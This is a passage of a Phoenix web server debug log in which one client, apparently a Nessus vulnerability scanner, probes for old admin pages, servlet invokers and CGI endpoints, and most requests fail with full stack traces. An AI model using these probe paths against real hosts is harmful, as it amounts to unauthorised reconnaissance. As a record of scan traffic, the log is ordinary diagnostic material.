    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:47.413000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55476] GET /login
[Thu Sep  3 08:08:47.432000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55476] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:48.114000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55490] GET /device
[Thu Sep  3 08:08:48.136000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55490] ** (Phoenix.Router.NoRouteError) no route found for GET /device (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:08:52.325000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55494] GET /
[Thu Sep  3 08:08:52.325000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:55494] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:08:52.326000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55494] Sent 200 in 792µs
[Thu Sep  3 08:08:52.669000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55496] GET /./WEB-INF/
[Thu Sep  3 08:08:52.690000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55496] ** (Phoenix.Router.NoRouteError) no route found for GET /./WEB-INF (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:03.117000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33724] GET /invoker/EJBInvokerServlet
[Thu Sep  3 08:09:03.155000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33724] ** (Phoenix.Router.NoRouteError) no route found for GET /invoker/EJBInvokerServlet (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:04.804000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33724] GET /invoker/JMXInvokerServlet
[Thu Sep  3 08:09:04.972000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33724] ** (Phoenix.Router.NoRouteError) no route found for GET /invoker/JMXInvokerServlet (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:08.141000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 08:09:09.662000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33734] GET /login.html
[Thu Sep  3 08:09:09.682000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33734] ** (Phoenix.Router.NoRouteError) no route found for GET /login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:19.326000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33308] GET /
[Thu Sep  3 08:09:19.327000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:33308] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:09:19.327000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33308] Sent 200 in 877µs
[Thu Sep  3 08:09:20.906000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33312] GET /NASApp/nessus/
[Thu Sep  3 08:09:20.929000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33312] ** (Phoenix.Router.NoRouteError) no route found for GET /NASApp/nessus (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:26.201000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56636] GET /home.seam
[Thu Sep  3 08:09:26.246000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56636] ** (Phoenix.Router.NoRouteError) no route found for GET /home.seam (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:27.797000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56640] GET /NASApp/nessus/
[Thu Sep  3 08:09:27.813000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56640] ** (Phoenix.Router.NoRouteError) no route found for GET /NASApp/nessus (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:34.776000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55676] NESSUS /
[Thu Sep  3 08:09:34.788000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55676] ** (Phoenix.Router.NoRouteError) no route found for NESSUS / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:35.829000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55688] GET /interscan/cgi-bin/FtpSave.dll
[Thu Sep  3 08:09:35.862000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55688] ** (Phoenix.Router.NoRouteError) no route found for GET /interscan/cgi-bin/FtpSave.dll (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:44.572000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35470] GET /iisprotect/admin/SiteAdmin.ASP
[Thu Sep  3 08:09:44.602000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35470] ** (Phoenix.Router.NoRouteError) no route found for GET /iisprotect/admin/SiteAdmin.ASP (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:45.224000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35486] GET /iisprotect/admin/SiteAdmin.ASP
[Thu Sep  3 08:09:45.261000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35486] ** (Phoenix.Router.NoRouteError) no route found for GET /iisprotect/admin/SiteAdmin.ASP (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:45.412000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35488] GET /iisprotect/admin/GlobalAdmin.asp
[Thu Sep  3 08:09:45.438000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35488] ** (Phoenix.Router.NoRouteError) no route found for GET /iisprotect/admin/GlobalAdmin.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:49.431000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35494] GET /status.php3
[Thu Sep  3 08:09:49.467000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35494] ** (Phoenix.Router.NoRouteError) no route found for GET /status.php3 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:09:50.211000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:35510] GET /imp/status.php3
[Thu Sep  3 08:09:50.248000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:35510] ** (Phoenix.Router.NoRouteError) no route found for GET /imp/status.php3 (DaProductAppWeb.Router)
